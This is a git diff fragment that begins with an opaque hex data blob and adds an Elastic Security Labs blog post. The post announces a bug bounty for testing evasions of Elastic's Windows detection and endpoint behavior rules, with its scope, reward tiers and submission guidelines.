52fe9cdde8a7ceb0192588e5f98eb7c222082c341b727b5530d34a82ff28a31e266037cd3d12f2e8b4e7d89fb4a8b030c95e4a8905c79812b4f8d73769151b5ebe3e915fa4c52f212c14240603adda6fc9ef374a4994d36114d2b4b5341f6274d5d2bd936a49dd28281cbaf45aa1afbd822c7e493b2314a10ba625e7d52de064280143bb93760e1e07a61727a57cd2239fc77007f28da4ddea0f7eaee078a0f9f9ccf2611c234769372d761f0f8aa0df6cb2283ff8cd6a47d84415c9377530db90922c50dcf8ab67d16b5b97ae613a0366b2e7f433d656b2768b83ab419edea045bdf0891455f1455d8c0c179fba1e0f411e8220dcc54d97ce83d1504fae296cd9ee3857fdddbbb671b0063e3200870fc810d378f89156af5567e24f2ea744721f9456738f465b983b23d4c265d17b08ba5dbee54be9a55da0e51c892f36e8c154a4d06398e01be6380c6015d71f814708c2032584e50b8466ae56bf60a7e61093cef27944114c1b2b3fc9e8312df8ecc189d3fa12617431a113a769444a01f2c7dbc06c1e78f99dc6eace99619ef9a7943961f61a02d0ed4f20733fbdb9b76ff467df7c96742bd9333d8a1bf059c41ad6cf4f8586f48bda7ac3a78920d94786ba4d58aba359823004a69bce6f767ed735e16ecf996a1ee483b45aaf6f269d1e0ac3e29a73b9e967840d499fb562a1bd44e02cd9b9047933e6beb653a282e8c4493ae4b7c9ef658fc2d3bdf1bc47db8b0eb44f8e1b6cc31d639c12677eec9a604bfa1de811e1a3f5866b32d35705cef137d25e9e3eeda0e1b83fdada71449d0b48845896b7130c33d8a255afaffe2ce32dc2cbe2a5bebdcf7462f57ccef733ecccf728be365b1da26712507ecdb82ee4240397e760f02822ab48038ae2071dd955e0a556e3419c75484c74ad1b6b634c849ba1170b60f02f727b51874a9381056fc9f3a8438828a3e05b4d31b322ab6229a378efa8aeb56aac2fe6590e6639b6040bccb62a4afbf04aef650ea70f42988f4cbf903421b715f6f6382ad1ebabbc00ec09cd8abd0a11846a2f39955bcb6a09de9a2e4920c36db93658f872906ff77fc4607b1bab7e604c906723bdd5133fd4a478103140da5421c2848a3fb94cbec18704a073c72355f99902b712f9fbfbcff6e12e0a230e79ac284764f38042778052bee2a3a2756599fc729002ccf3343ef9ae47cdaf9f6e0880712840bf855f90d76a59b1bdcd8d33182deffe18223a58822cc048cd00a207196f854b7d3e0e674d9b091075e191adc6e5ffda3d903562ffc104454ef764d6afb9e4b68364cbd1493ece60a857b456fc8627f85fe06252afa9af38c5707394dac4d64bd317283ec230be5e26d8388c58abdc44522585560595e4f0428b5526c33214f7ab9f78f36a868cf0ae00005e1aac0809b0ff88e877344fa810f62c865506a376301c188c4769cba801869fa08e7f91cf929f49eb98195a221e15fe9ba0837015d6fe4e5ec2ef89d499dfb818b264042ea001ee250f031c1e4b27f441cf460149d1371cab2438b6e53fc6c8763b9d7b07be1fb56e3838fa692effe7f71f33aece312a6420472fabf8258a7345f1dd6318344eb9b0950c448ef29e5a0ffcb62cf1bd3985ca304a3ac23e0b9b9866e82eb2854dff5c4dbbe28a23f5db7394e85dcefde32d56d6f281a6e06a48f363f412ce29c96e08c2afeb037dfce6ec3a24e17acd01c75c179c744d84a6268b6ce5df6339b64e4799760c8875238165258365f01faee098c5d3ffbab876d0cc4a72adf302cc356d3cf985dfa1c6ee28d6ae296edd06b3fd9e3734f7cc86cd2f2d65a6f56c39cc4ab6e6482abcbae94de9811674fee9598822781f4a24ae27fd44ec2d44db5b9d624892acd1cfcbc0ee240cb30c9cf115aa389d146c2a1924934778170247d077143a3f2d25318e8bff1300847b7eaa7a3a74b4f6f8fe6f621bba243502a8a86e7800da504b7120f63edf05fb1b9e1858e6563c5ba9e1db407d670b625f1d2c1c37cc8e98de0d66e75a4da50cc1fe302a9f99cc8e64cbfc7ae2b474f757f86a7b1788edd49dbf062e7cdb2853baf2ce30607b0b40c799a40ad5d511912d30e964d396dd66c3e1a810116c1cc1ab5f4400d3804c4efdba84d016c3296649cb7754fde74989704e711156f4e740f3c7ec7d13e8f2f74e2e9e1276c4913fd866da540a5a8e99d434746ddb4d633f5c2c6f38b3b5d7ffbcefd9ef5548a521ecc8233a99bdab9c12f8315d441db34d8a045c8b99635e76dcad4c21d70cd4e4e79ab49385a2ea9fb710bae696a9ff93f28a779b51c8cb6a0660843ee04a38c23187bde1d0f37b631f3b7370f745a767ae292da83d082875312e112c0ea77bcdf56283108e317d0117aa82ccb6187729ae25113866a61c319fb28a4f2889b02882aa1e20c95ca5de4728e6e1fa9a00e1243c0aeb084f0db778c8dc51e23ef7021911a905081929dde64082076d2842acaacd672ba43a6b6e72f5e59051fd8ab93edba7e0fd206feecbedb1f302f0571f822bb0a7c06c018c80836e627574b8f5f487d0f66bf20c09c2872b1e43428503d5a651af3694f043bb4038ca1e44ade051384baa89e83c5267f9d02c0256c5d292cadbd4f0662cb364e3b120fc8c45f9f2787592028d8f8f1a06354e420ded4bbdc1e1f2cd22e807aa698f0be97efa65b233889751aba65d0e86ecd62f8bad47a446358c3d1d7c5842ffbd77aee8377ef49201b9fcebb29cdc1283db20b013523eca9dc8d991856557c6c8a1f2940b48bd351290f7a7d5e4a51192f2f796f57590aa80e444b4e0b49ce67c9441d42e4ff1f0f05ffa2815a9c695e7d47e394f6fd5dad725c60f9880e389d02df256551def057e9c82271f9ac09f8a865a8cdf53fc30bb56dda0050b64708a7039608894b5f49230386df75a3387ff56ccfe1202ffafc9307b943c3b708405c65dd4b881bc95b0b3f418a692f87d7e48e3b59e3bc8a49ebf212896e63648753519a85ca474bfd283b1dff026368ea47e9531169e32dc971b90b32b1f0e97ba8b659ad7f9fd2e484a0e13b70d6744b78919db1d899e8b88c77a4d59bd4b8fec6b431592d630dac233dfba4fb93e4cd03f980ac0c0fe5c4361710016f64370987ed23b1f4d34b6cc774f6ddeab1bcb203f2d9e971e3009fa91c899f4f0eff07b408b55a62e7d7a4661f9efc6669e3ef6f4ff6feabc85a60f78b9a1e7ef374924885921d78fbe7d24642337621b6ef5f9f9f4ed45c9dad2cb73b36a8bfb9af57044eb912dcba78e5db5410ddb043b2edf9b7bf1c198d7e915370f52d689105f0fd5fed6ef15848aa1c237e106a95b5748a40d5c05d423066ef1ee45091c461897ba66195f44c1b13cab2fa7381667f4bb154dd4bcbf32e7d531f7455aa56b6ee9421d5280c4f0809c31f339a782bcde783f1972d6e2fc60d9f1d73910e3429c7b02a1158abd5598093f5a0ac11707672df8f33359537d65849181d334cdb977187e85819f78c75d7af1897b1b86c02390f2e9d639a3f9b57aa9f5d034ace7104071adabea1aa7971be122b5836aac10dccdbccbc396f7303fc128ff2ac402c8d2ac51875020d705dc9ff297ea6f08c89b683d0a406d7dfde69955325a7e4152573aea042ffde54828e5a5a5b51c089fea5e5dc5e659f66a5d359142dbd6cd20d19fdd7fb7b5b9f05358f0c31a3c7c9f32cd036a6087140a1a5ab3804b2551eadfbf50f2b3b4ac732c762b261270bedebbb98631a86a2c5fecdfb98a7a813414301714aa656387f6db70b33e6ed12075a899968f8c406b03e384f909bfdb614fa64eb5f64c00529f3fe3ab5179c0bc82875b8c74b1a41515e35c6b7369f822e4b3997263888953e4e0c79d103ac4ad1f98768e9836b1923469be0a62f9932354c4efb399c2f7fd0438fb287812f056d39e06031cd5f7292236f5c4dac7529460a7ee891e049df82826bfa382ad7fe9e3359a94c4648958833f61848d0930d5d9ef36860e46c64f6f7b39a4d0104af851ba04e9f55d381563e2c270a8552afdf3f7734451b1d923db0f6c9e240d2d16f19ad288c16d104d3fb7afd267d382b97916052e70611cc3a0353943c52376891d36b45a8c84c3d246720f2c3af7928b3e0ca13bb4f822f47a5e4f7ecc7852776bfb31f6ee1641232aa5f41ff2e9c07cbaeb2e81f7ce22975e068c754184ed642fdede3346deca8da28a8b13edac1faefe77fe365e0c4dcc96c713ddd82511e2ae8138abf955df1cc39a73037fd79274d7f2756d1bed727470628e36039476b599a13b1b7ac341a0b6304292b5ea1311e16baee60c08b67383281f79fdeecb2f6c880958123d723460cd666392cb3d46149d23edf2f654bc234a82c4a0bbab976d0168b83c4f31b26dbb5492d941082a0026a43e4873421f5190d35bc266fbaeea538ce2dc56b79a8d4ddb65d3df7af770e22ce7aa22af13c6c59a9fa5bbcf9cc40240af3f5ee4d2dca6aba66efe262f495e32b80fdaa9813a7c1d3e76e3fb613f21b5086bb75d6fdf8aae1619b2c0f5c101a51e0f4756206b3a1bd00bd880565e7f7d29c75620a5f2f5ddf48a97e3c4cad9a030eaf8eaf0ea5aebc00f9880e389d02df256551def057e9c82271f9ac09f8a865a8cdf53fc30bb56dda0050b64708a7039608894b5f49230388d4ba3b194562bc3184bff9d117134c5c54c630506bae9aedcdda44526e19775f217cc65ab1b3071a1c01bba5de43c59cd241db3df82c64f5f8f42f88123d689cfd348b16d71edfc58dffb6f0fcf2a852713a6c9dd724e656148d96eda9f790769ba3e8315aa0a3ae2420bcd5a2f4d8005f575992c4860dcee1b4ab6bfade4ac2c47582b60479ae70c02b74ca4bfdf65ceaac6994f687f5ddb740bf1d290e834f05a03e34c5d6f8b092691a42dea825efc5ace975fc03b7e9e609108559345e77df3571e86a92e2acad0f244416600a9d5e71363b7fd664b1d7280c3753ff370c1ebe359a05d1b8ddc4eaeb99935d8ca3c3973402e7e154816beedc022b4723b46586551089fdb5c1026f20cbaa0df5076d0e11eb2d2ef6ae24fb5a93526f742cb9a80b0ab1a6875cab02b322005fa9f3f8b05011fe583b92aa0fa3c98a6ff90639cdf3bf9b3d8c3a24473a1112cec9c2b68cc667e4beb8c9959b9e8d0d2caa7094576d86ed6f5b4f20c9876854443e57316bf401e654242426280bf82af4936ca62943e4fb08f3f6dc28999341427c60c6d3ffb1b90274cee14ad96c2e032be4a55c2bf604c3197763418d2076b2f266446896f38783edb328dd1d1c5eba6bb4fb3d1dcb167b8cde65bbd7c277eb975cb9c36e5de9bc70b28930157f0bf3c8116508a9a38cb425c3a6eb2afb8f041ffb45729209a2d81e192218ece1dd0e01823ae32f9136d5c2d0dc6258d868246a41ee398c2c9c752b57a74d5faba676c6e9618a89f8c7443ca3c2ec1c4833e074911ddbba1a752aeea8e9ca6e906734e410eebd6b4a5638a696cd445286fddf1d12947fc61cad07b1363ef522ccdb78c232cf86ebf689cc14d308b661e84ad7f64bc53f9f41a343cbfc6c73693240846d58067be3278bca1e124e1601b40c293e255fd3ac27f901bd62884abb14018a8778ab96e5b1dc9be29a01aaec67cf06a1795407ae8a6e451c01b5955aa6dc289cb2ff263896861c9ac7f3f85704a0e4654b60e6290c308950187c783c18a8eb96fc8e2edd905373fa96caaaaf87f925417563ef652893ce500f8707b5b7f16ce578e89a9861f867f4e1035104c29688ad14464e59c790fad64edad6f8e11c01e1b0437582f2a4247f772fa67f633fcea7c897d10a16055b9f59dfb0687d2bfe9004a33a9cd6a04b722fbe6851ee03550548c13e4ef6c99623e366aa558e3dae2d92ec4d0f7d1f8ec007c79bd3737e7bfd26ad1280dfd3c6c50c648d9a19cafb6ae766bde20ca55a07c6b4918b0c9a716b759c7f692ce98d08f98626abe58f6e2a97ae5d1e25a98687ec85542c1aff6ad4c5f43feb751f6b66abdd5f13454511bc3d4ff262870258ceb773dfd4e493da5cdc6fac2c20a4eef21d37a92a69e200a116a1c6250242e433185cc53a4763de73c1135f944bb352126a081aecbd0ad5954bbf05790f631b38edd7f21b2646e7aa2e0cfb73993ae998a1c4aef8c685f48d075c81d2d9b67f851c63febc318b4b1313df5120900389a9b9d0f4f65e2bb3ad01a65c551697224a5331214b557ef865b1ee9e801fa9b59fe7fcbf6f493ae4be20b6824cc7e2cf02ef2fb82a7a6e48adf4c61bce4f128ded4a82e0c22bcf6d81598421a1a7074aa170a03b0d2663a0d81336e614a320f707d96b6ce1281fb7a295f0bcea72eca3d8b7d6087d926821b5d38dd2a0aca3ee5072109810f481ec969d4c1f8a624b1b43a3300055e1e1ce9ff4966809d73572c6b593075725f643a1b0017322864c8678bb92174c0f8bb4d89e92a4be1335523e4e4ce26432b527324568758e2b2e350e1b27dceaad18d62422a2dacb56b5be7a1ba49f152135a7bdbc4c1478448e2fe7e9d3e50ef3416bd9592cc9178dd5e4f81c5660e353ee9ebb7af4a53931cc06ea77eeba51658dfdde3fc0772ab91bb430879fb9885defbe2d9f2a261e4102e1253f9fea3044e40850307303109f7f5210065841f2579be68c6de49223d35cb8a9c93194720e3e5801d99c8de4c7546ea7d27bd09d4d73c1eb0c4302eeb95cfd0fcb5d05bcbe2a223a90a59c7768917342f292352b2fa6c424fa0eacce409255c988ce90fa45b75ed43328c91926273dd36ab6f78216c535bc8a769e59fab0470298dc2f75c6642a9c6d897d892cfbb08499c93230b432ca1852931f87b92bf433312a8dbb05e3df79a74d2aeb41b051a4667438e121735c4509d0aad6fa699df8fa2a9d94718ead255e8cbe9fac51c64610b5000576175a93886a9e39c5c779a51c649f6f7056ccb9c8f67804514890f8dfc742d430791a18ed4cc7cddca8fb964a7990fd0785b06a983b860e9afc8630a32cd222b100a4d8500793f24a5ae72399e02726047cdcbfec86384bbc4284f7b5d20cb869e1fd18e49589c46026ebd668e67bbe02be85bd6ae63d817af95cd673a0da7767244c126f3b1103738615c610622eae38c8daa94251ff1e44b7d627c9832039d5a7965695ed52c9c50ec625c2757a0db18e7902d53644a0deb6c276d0eb3c944cd1d34b6179f1b6838e9aedef1b4ba471aa0cd16e6b8d7b510699c388842e32778a3762844920d4ff9a57d67196f1195d0842196aca4934c299435a7161ae5278fd1598b20bc732b1040ec9dcb2e87b21a99a7964e80844eb9cd07d4297ac89da27b24665c6e214c2608162f367ea7c30eb12975e1df505c59a6f9d058148990ec3522be11986e0a2256df6c69cdd7b62d79128903ab70f60aca1de55023836a3e6c096a4beeab90cf60a3b1d70922fe69515d357ef35bcb2dd735becd0744a0b49639f22fe235135388eb01b0cab3ab39eadfef531179bfaeb0977a890918427e4a505827fdac05406db947fa4400633760489952e8909df3246299458364bc80ff38a46c46767ab54a6a2a047cced6ec03e1e2783a083f7756ac4fd9cfd12ad3959f617027cc2ffffcbe7fd11dff6ce12490dd03c48372d6a7134856ffa0b92692b511a3f83ee789ae25a1912ef6a60a089e326dc3ce9902d3177431873d15cd30074e86c253414b76f331c68a5cbd259494120ebacc065e56636694f4cefbe075bff3558927d9596b11fb173624ae87a4f5f776d38f680aa32835d68ab3c29ad7fcafe12ed95841c042667f0e136aec4d2ecdefd4680a107eee0c50cd04464e60320c51b7fc8b27f7b91daacad00829ebb2668c429a10a3b279051e39267d50bc599c382a4e37218e6a85de45177254459472ecce25bda801622a3a1e0d1dc47e2f7d1ea6a4a70c1036efa2226f2d3c77f1ee6cc3d5b344a2e1ca2709cebbf25cff3a63ebeb2d44e22de6bb74b65b5bfbf8637ed562bc72b4f9d60e6c3d5726081c8615cddd05f68ebc76ccc18f8d6687e2f1ce8dcaec5b59140267b165ef744ff10a741e19b4c7464f8b64d6a7cb1bba93d42840f4fd1afa1f3fef08429b545e6c073b42a0a8c626ebc692fa436efa90af3a2fa40a4821b0cbe95ab60b9a6e8f92a6eb3d8ee6c58c89de41fa8eeed7ab960a239b50d07986cc6cfde7b4664ef5619b2aab1563478d226608dfd2e5f37cdd3af76cd7e8c9e1c10b834482377bb04af8b5f454be3e97dea6e77583fa70c92ba3fe3580a9903fc7f738f6444bcaa9c01054ff453190882d7a8113b5d08c46ff43847110c1392b46fc632d60e69b1de019ef315bd0de0abdffd5a92d33e86be136697d518ea8d4da833f6b20e16c5119e1b6d637aac2288c3722b6c5687bdc7af5e64ad7206c1dd4583ba32739a8287ae3072508886b7aaf81825f9716c5a1e550ae51bc06c344437f23a3bf459de3a52f233cfd80e5fe36380e1114b08912f15b9a1a258ff6f51ea7fd4e02dc25358f372e2605467dea8f1cd5fbf2d7134f9536913fcea278b01ba9b86fb171a2243facb18b237f7bfe38c7d051bc1c822ba4021856107567220ca4a98123118b3609304baa5ed2911e3b5179186e511ca0450dd9650e1a0433c6cf02131579435840584c10b9bd88f8dcc45ee033a690ee7231f1e21c908f079913dc0ad7463cc21145ee7c304b18a6161330bb66b0a5914331d8b9d5d1238d13983b87af722111cc11cbc898da3a002f0bbed4c95902db71424dcb096822bca590d9915f8db6460cc8540415f225cd0b31c5a36a3e969f59c1bf32521aa480f6c9c04dfc3efe634cf39c94e977160398e31c5c77653375d6f22eea6a3acfdd3693059f0647ba9b8c856b33288ded14999276fa864d1d558fec62467b7adfcf94d02bbd0cc9c5f3015a7a2cae5cfa95a15f45d43df6190477a36e82da74b7e6fca48f43133b59597e0200e64b3db599859f34d62b5edcc3f0d018b677d186bd9f7b987a9ceb6862de96d8b81ed74a3d45b07ccd2c2c1b122719631322ed406e772638a42a07b1a6feeb98eb0b90de1c0a14bbb4381359d7930f8daa43f5514366278cd0fd227d3851fac504bd9193cd16378a49640ae8ba274c66383c9bacb324d75e377af0733f22128fd8d96b79c0f4681e8b0167ff327cd6cd60a07e74dab434390ec74c5da12cea5b26c8654180feb93f5c12e201733dc6cbfc67b1a2a325aa3da8cb7bd98a80f972d17b5ef5edf79a7885b78e393eec9d5ddf1d6fbf903ee26f774323adf98accbe6c7d5e83db9125687d2da97705e789c19317c3b3e45f91ad58f749e4a999c9657294a246b09fbfa18e29afa216f2059665efe71ec039b74c09592b8504ff825ab31aa09717aa7419e3a901f006679e852edf7ac2df018e959e48c1333e7faa2679e1cc52faad67e9935a4e7e666a5987d3a5258a69d7721c9d8b792057d6ca7112ac8ba1b63655a85aab000bb05023ab03d77668ef2c6c87eefe6ba20cb6ca2bcd046ff15efdd2fc71293178435aa209c51bfde669e1101e6bdff9914d4b77281a86abb080baa241b8f661ab84c81e073d16126d2cb3229fe1c38dc303b80204ffadbf9d4604e07aa7c77fcbd782370764678e12fd968df58e32c55fe6e31ff7e1c0740f2147d6f4fc820d62253001e6af635e4656522a498cad854b06d0cee72f7c3749c340b3f90f14beaa0a1b09fe731e1fc9edfc4b78970822a8be6e3744d3b66353f0962dad2d6920edfbb97cfff9365b5d4844301bcf31bdd77be9c0c75675eb89f5fea2937aed9876c0fe0d3bd6f30cbedc46beccdf7ef5fda59f0508fde9c2e7840db2e0783b64afbae0fbf2e9caddf9bf8d47ea8fb1fbd490f29c7c88c81921e43230997253dab2522144de9072497bdae63ebca227e13aeaf9165567a1450e720d8b5c140d7c3e6d93d695001eae9ecfa881f9c2d4ba98a05de20aebcd3414339e63e562b7841198ac0653fa7249c84827a2941b336647f18329c51c254fbded3a00cba26f5cbc2f00bbce97bea240d2c78086f3c732c21e9319b173c8c974e0414a3147fc0fa4f1fefc3c4ff8013d81b9964c41aa693173f44806235e5bb12de3184d3bf029a55b3014ccf3c2b84bbb6b70470c6df91021b39ab103107153872edbd1fc57aff4496f8c45153115cd4f670af7fc555fd34bda79dc934caaef300247f3de42c788e9733267e12a1a67f0f90e51edef15cba0d2b6f01be9e2909b709985dbddc72e5a6a19641fbf8b884258099bc0beb8da19d507e6cbc906bee4c803d6473d020ec3133323af40986cbe4cdd874da3c92f2ea69837f208c6e498dacc0091db84c7c534421a2baa5357efbd2c59bea0254f84ea158cf76a514f33a1236e99d22565417db661aa8a248c028cfb341a5b96d512b4d230882e01ed21721749bfd58071ac8066b632ad88a0b8a48cbfe1c55b2d58c1de07f9aec48e2c967409ae3a84354b4a9cdaa846302432c505facceadbc48cfd4f50a8ba1ef4c218ec458ca80855f7ea9458546e4c3c1c785ee68f189ccf07869e365ea248fd87460a3df5c157e0b6d37198f7a3c74082f32fcf1f481b18f0b76ddf2c512ee2e359f164ff396a8958a2699918757cb533a7ea200c2a78daaf73703f86a2bb5ad6a6486ee3f101cf77bb382a072f1498bd9d086291c61673a31f2c574e2d70b2cfcfb3ec8a0c82e24eddbc072177667cfa85ae9ebb4e31a5a0c93fe313bac6e07076e9ba358652b1b94f833ffc3b1d1f66600412b6efda9eb135d0d7e90f36ffe739551a1e73570b4eb397f41a3ed1c9035b643f523614af8cebce2c2ee265a62ebd873ded3936dd550d6c40d9534991e77fb9474dd88e9a666dd35f4efcfce26402a7b58dd15a85deafd43ca2d94ec3198a54310caff271d18f887b848fd41ed02d64f9477f6f40aa28dc30864a1705ed99b6d4c020456214f8a48c9147bff934bc439badbcd988d5fc6868214a34be5da8236dfdce844bf81b8c45dd8dbaa8b46bb08f4b629e87a343e332864b184535d15e937e0ad119f99f37ca124cf9d875b0b68d4eebf51b775c5f6cf0f3626faeaef6b786ccd232ccf128371991c9a1072c068020086f91a051eb7ce72c618adecf53db71107c43db4020b177f072254e267d0a158c37413be7ac995ac8c51abfc8f358ef2ebd88f50708506e0974a92e1a044dd45ebaf36c2b129b27d97714bdd4b55f08923e63ed347341ad4ba5302742d3a5302a1eb2186a749fcdc0ce53487a83c32c6711589a342e44d4dbb3747840396c2ffec013d469c5cf6c09102b4047c595d3fcb175c751d069a8ff2d46761f36f08998ca3434404d243d3f0b51d9ec55eb1533cc99f198128e401075bd0737aab79f784cd5b9fa9c7669f91ac3ca8e330fde0249deb70a59afa28a65a014886d166560b32c15158035945d4ea583a3e0c2b6d9c363591111f448f4a5f1f246e6696f4b45581e95f7d8fbfd1564d4ed2f73c7084998e3751ec8eed9ed1c30507cdb206286aa16672031ea33e50f406a5fcc067848e3d72bd26667a8935342b992cf558ba6b7fa771c7ce72c618adecf53db71107c43db4020a463cfde286c1082f00a5d14d6b800ea5dd6cfc1c737ccaba5bb37520cda2fcf1a70d342bc2a912c5e178b2192c38857e6ef20b5935cab371bc30308b404e4f0c171540c48e17e59ad4c55e7bf56c934cc543f31e5f970f1181f0d4633fa1c9e099cea3a6be75db5834e23bd6b7a0ba8da6a8b2c01dc1c1048a4afd100e18b06d1306327939d341775c4a4e921b92d27945dd829d2c351d4827368c30c351a3d871c524cdff9873ea02793f78f214614c28f09b5d78496a9266dc4fc1d462a68e4fd24ecf0352529a048c726615f24c6775ae64f45605f66f5becfa23ac660a7835dbe2cff2135af4164a616cc5e7b49b9971ac8f9a6848143b55e5a20dcdacfc6fe235b8efe27cb6b30fb67c083f6bcd581d12946d330a19601af27f571d2eacc17260b1f034551cb52aa2e0eff863073c7791a90a56726861e7d7ed6f6906e9dd1510b21bf69dcfa68b4bb048af3d3d533820f565e1ddd17c2924ea77b14187fc8a11fb84505507a4e43ae7bec4a65da75d3be86f8326315cdff4806aecfe70bc509a27e4faf7628db7aeff69245e39efcf06208a4a007b0dd9bc531bd2e6ca7781f8aa5a1ac5f520d2d600de2600fb553dfe63fec39ede9f479ab2afe7eef9b64073b8c44e29a58b83141c96b70c9130b88a3126ba5ec995790077aa4b864dbb5b72640d80da4590ec3a89e3dac226243807616c6123cd9fbbc442a3222faa0bda7ba43e26865a5f45f6b57dcaab5b4429dd168f526a74e7700a425bd6e789f59db1f247cbb6828466f80b74cf193d61379a421f92c14ab839560e78e14b7ebd278c3a84c204ecb6b8fd59ea355eec4c9fea02dc3c81a366ae4729d2e42d888a2df8a993078a24f90c6e71864d5fa2a0a02c0e336fa2e23290da1799f2efe7ba59f4d0694fe2b533f5d882a2a54ce9bc5c23be8d7ddc6a80725a1f7e889daed59bc34a6744af215e87052a8ac8aa2a14dd2151b8bea3bc58dea5f0de58d8355ad9f5d98ed168e8a91cec9f6e30c6f9b9399fc71db08a94dbf9cfa76b6803478cf122ae2ee930c18384155252da99de8e2d6a2e353b594a51b29b2b11db26720bc10ae1a128ecb63df0328d1170dfbdb319c895c031bdaf1e7ce9a844b082464c2e75131dba625beca07c79de2ae2ec53483acba0ac636d8ab515ba606dd47cce339733ce89ef1deb16d6bb30aea4032a68003d8f05d47f62e37a54050ce877f79a3311ad82496ba9bed858c8b8129ea78322dc7f388bac47a40193cf7b41dfc6da07b12bedd478e1547415351b55616116afc6fc04f1e704a4d6a6b8c62519ca8521a3533f5bc4cbcaf7f3990dd4a \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/behavior_rule_bug_bounty.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/behavior_rule_bug_bounty.md new file mode 100644 index 0000000000000..9b5759a736c32 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/behavior_rule_bug_bounty.md @@ -0,0 +1,144 @@ +--- +title: "Announcing the Elastic Bounty Program for Behavior Rule Protections" +slug: "behavior-rule-bug-bounty" +date: "2025-01-29" +subtitle: "Introducing a new focus on behavior rule protections, empowering researchers to enhance Elastic Security through innovative detection rule testing." +description: "Elastic is launching an expansion of its security bounty program, inviting researchers to test its SIEM and EDR rules for evasion and bypass techniques, starting with Windows endpoints. This initiative strengthens collaboration with the security community, ensuring Elastic’s defenses remain robust against evolving threats." +author: + - slug: mika-ayenson + - slug: samir-bousseaden + - slug: rodrigo-silva + - slug: jake-king +image: "behavior-rule-bug-bounty.jpg" +category: + - slug: security-research + - slug: security-operations + - slug: vulnerability-updates +tags: + - bug-bounty + - vulnerability +--- + +## Introduction + +We’re excited to introduce a new chapter in [our security bounty program](https://hackerone.com/elastic?type=team) on HackerOne that we soft launched in December 2024. Elastic is now offering a unique opportunity for researchers to test our [detection](https://github.com/elastic/detection-rules) rules (SIEM) and [endpoint](https://github.com/elastic/protections-artifacts/tree/main/behavior) rules (EDR), helping to identify gaps, vulnerabilities, and areas for improvement. This program builds on the success of our existing collaboration with the security research community, with a fresh focus on external validation for SIEM and EDR rule protections, which are provided as prebuilt content for [Elastic Security](https://www.elastic.co/security) and deeply connected to the threat research published on [Elastic Security Labs](https://www.elastic.co/security-labs). + +At Elastic, [openness](https://www.elastic.co/blog/continued-leadership-in-open-and-transparent-security) has always been at the core of our philosophy. We prioritize being transparent about *how* we protect our users. Our protections for SIEM and EDR are not hidden behind a curtain or paywall. Anyone can examine and provide immediate feedback on our protections. This feedback pipeline has proven to be a powerful enabler to refine and improve, while fostering collaboration with security professionals worldwide. + +While we have performed various forms of testing internally over the years, some of which still exist today — such as emulations via internal automation capabilities, unit tests, evaluations, smoke tests, peer review processes, pen tests, and participating in exercises like [Locked Shields](https://www.elastic.co/blog/nation-states-cyber-threats-locked-shields), we want to take it one step further. By inviting the global security community to test our rules, we plan to push the maturity of our detection capabilities forward and ensure they remain resilient against evolving adversary techniques. + +## Elastic’s security bug bounty program offering + +Elastic maintains a mature and proactive public bug bounty program, launched in 2017 which has paid out over $600,000 in awards since then. We value our continued partnership with the security research community to maintain the effectiveness of these artifacts, shared with the community to identify known and newly-discovered threats. + +The scope of our bounty has included Elastic’s development supply chain, [Elastic Cloud](https://www.elastic.co/cloud), [the Elastic Stack](https://www.elastic.co/elastic-stack), our product solutions, and our corporate infrastructure. This initiative provides researchers with additional guided challenges and bonus structures that will contribute directly to hardening our security detection solutions. + +## A new bounty focus: Elastic Security rule assessments + +This latest offering marks an exciting shift by expanding the scope of our bounty program to specifically focus on detection rulesets for the first time. While bounties have traditionally targeted vulnerabilities in products and platforms, this program invites the community to explore new ground: testing for evasion and bypass techniques that affect our rules. + +By initially targeting rules for Windows endpoints, this initiative creates an opportunity for the security community to showcase creative ways of evading our defenses. The focus areas for this period include key [MITRE ATT&CK techniques](https://attack.mitre.org/). + +### Why this is important + +Elastic has consistently collaborated with our community, particularly through our community Slack, where members regularly provide feedback on our detection rules. This new bounty program doesn’t overshadow the incredible contributions already made: it adds another layer of involvement, offering a structured way to reward those who have dedicated time and effort to help us and our community defend against threats of all kinds. + +By expanding our program to include detection rulesets, we’re offering researchers the chance to engage in a way that has a direct impact on our defenses. We demonstrate our belief in continuous improvement, ensuring we stay ahead of adversaries, and lead the industry in creative, yet exciting ways. + +## Summary scope and rewards + +For this initial offering, the bounty scope focuses on evasion techniques related to our detection (SIEM) and endpoint (EDR) rulesets, particularly for Windows. We are interested in submissions that focus on areas like: + +* **Privilege evasion:** Techniques that bypass detection without requiring elevated privileges +* **MITRE ATT&CK technique evasion:** Creative bypasses of detection rules for specific techniques such as process injection, credential dumping, creative initial/execution access, lateral movement, and others + +Submissions will be evaluated based on their impact and complexity. Over time, we plan the scope will evolve so watch out for future announcements and the Hackerone offering. + +For a full list of techniques and detailed submission guidelines, view current offering. + +#### Time bounds + +For this bounty incubation period (Jan 28th 2025 - May 1 2025), the scope will be *Windows Behavior Alerts*. + +## Current offering + +### Behavior detections + +Elastic invites the security community to contribute to the continuous improvement of our detection (SIEM) and endpoint (EDR) rulesets. Our mission is to enhance the effectiveness and coverage of these rulesets, ensuring they remain resilient against the latest threats and sophisticated techniques. We encourage hackers to identify gaps, bypasses, or vulnerabilities in specific areas of our rulesets as defined in the scope below. + +#### What we’re looking for + +We are particularly interested in submissions that focus on: + +* **Privileges**: Priority is given to bypass and evasion techniques that do not require elevated privileges. +* **Techniques Evasion**: If a submission bypasses a single behavior detection but still triggers alerts, then it is not considered as a full bypass. + +Submissions will be evaluated based on their impact and complexity. The reward tiers are structured as follows: + +* **Low**: Alerts generated are only low severity +* **Medium**: No alerts generated (SIEM or Endpoint) +* **High**: — +* **Critical**: — + +#### Rule definition + +To ensure that submissions are aligned with our priorities, each offering under this category will be scoped to a specific domain, MITRE tactic, or area of interest. This helps us focus on the most critical areas while preventing overly broad submissions. + +General examples of specific scopes offered at specific times might include: + +* **Endpoint Rules:** Testing for bypasses or privilege escalation rules within macOS, Linux, Windows platforms. +* **Cloud Rules:** Assessing the detection capabilities against identity-based attacks within AWS, Azure, GCP environments. +* **SaaS Platform Rules:** Validating the detection of OAuth token misuse or API abuse in popular SaaS applications. + +#### Submission guidelines + +To be eligible for a bounty, submissions must: + +1. **Align with the Defined Scope:** Submissions should strictly adhere to the specific domain, tactic, or area of interest as outlined in the bounty offering. +2. **Provide Reproducible Results:** Include detailed, step-by-step instructions for reproducing the issue. +3. **Demonstrate Significant Impact:** Show how the identified gap or bypass could lead to security risks while not triggering any SIEM or EDR rules within the scope of the **Feature Details**. 